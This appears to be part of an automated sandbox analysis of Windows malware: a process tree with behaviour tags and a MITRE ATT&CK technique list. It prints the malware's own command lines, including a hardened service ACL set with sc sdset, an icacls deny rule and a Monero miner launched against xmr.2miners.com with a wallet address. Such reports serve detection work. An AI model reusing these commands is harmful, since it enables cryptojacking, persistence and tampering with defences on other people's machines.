C:\Users\Admin\AppData\Local\Temp\AA98.exe
C:\Users\Admin\AppData\Local\Temp\AA98.exe
1⤵
PID:832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2692 -ip 2692
1⤵
PID:4048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2692 -ip 2692
1⤵
PID:3820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2692 -ip 2692
1⤵
PID:2616

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:3184

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
1⤵
- Launches sc.exe
PID:3684

C:\Users\Admin\AppData\Local\Temp\B96E.exe
C:\Users\Admin\AppData\Local\Temp\B96E.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
PID:1872

C:\Users\Admin\AppData\Local\Temp\B96E.exe
"C:\Users\Admin\AppData\Local\Temp\B96E.exe" --Admin IsNotAutoStart IsNotTask
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:372

C:\Users\Admin\AppData\Local\Temp\B96E.exe
"C:\Users\Admin\AppData\Local\Temp\B96E.exe" --Admin IsNotAutoStart IsNotTask
3⤵
- Executes dropped EXE
PID:4500

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\f17be81f-ff99-4bf8-8b44-2e7f86ee9d88" /deny *S-1-1-0:(OI)(CI)(DE,DC)
2⤵
- Modifies file permissions
PID:4284

C:\Users\Admin\AppData\Local\Temp\B96E.exe
C:\Users\Admin\AppData\Local\Temp\B96E.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4500 -ip 4500
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4500 -s 568
1⤵
- Program crash
PID:4020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2692 -ip 2692
1⤵
PID:4996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 2692 -ip 2692
1⤵
PID:980

C:\Users\Admin\AppData\Local\Temp\5A42.exe
C:\Users\Admin\AppData\Local\Temp\5A42.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:384

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
- Checks computer location settings
PID:3008

C:\Users\Admin\AppData\Local\Temp\fi.exe
"C:\Users\Admin\AppData\Local\Temp\fi.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:396

C:\Users\Admin\AppData\Local\Temp\6223.exe
C:\Users\Admin\AppData\Local\Temp\6223.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4520

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:4144

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:832

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
- Loads dropped DLL
- Checks processor information in registry
PID:3124

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:3052

C:\Users\Admin\AppData\Local\Temp\F83A.exe
C:\Users\Admin\AppData\Local\Temp\F83A.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2080

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
2⤵
- Suspicious use of SetThreadContext
PID:3176

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr.2miners.com:2222 -u 45e9jcJ8d9XdYwCoRBBhPqHCn4vWPviT7ADA9Zpw9cEXFJT73ivgnZDE474VmiH3M6cJsaR9bWbXp5QfszYCHHtG5B3VzDX.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50
3⤵
- Suspicious use of FindShellTrayWindow
PID:832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 2692 -ip 2692
1⤵
PID:4176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2692 -ip 2692
1⤵
PID:1680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2692 -ip 2692
1⤵
PID:3248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2692 -ip 2692
1⤵
PID:696

C:\Users\Admin\AppData\Local\Temp\6889.exe
C:\Users\Admin\AppData\Local\Temp\6889.exe
1⤵
- Executes dropped EXE
PID:1456

C:\Users\Admin\AppData\Local\Temp\6E56.exe
C:\Users\Admin\AppData\Local\Temp\6E56.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1604

C:\Windows\explorer.exe
explorer.exe
1⤵
- Modifies Installed Components in the registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1428

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:3552

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:2024

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:4736

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:4740

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:2200

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Modify Registry

T1112

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

File and Directory Permissions Modification

T1222

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery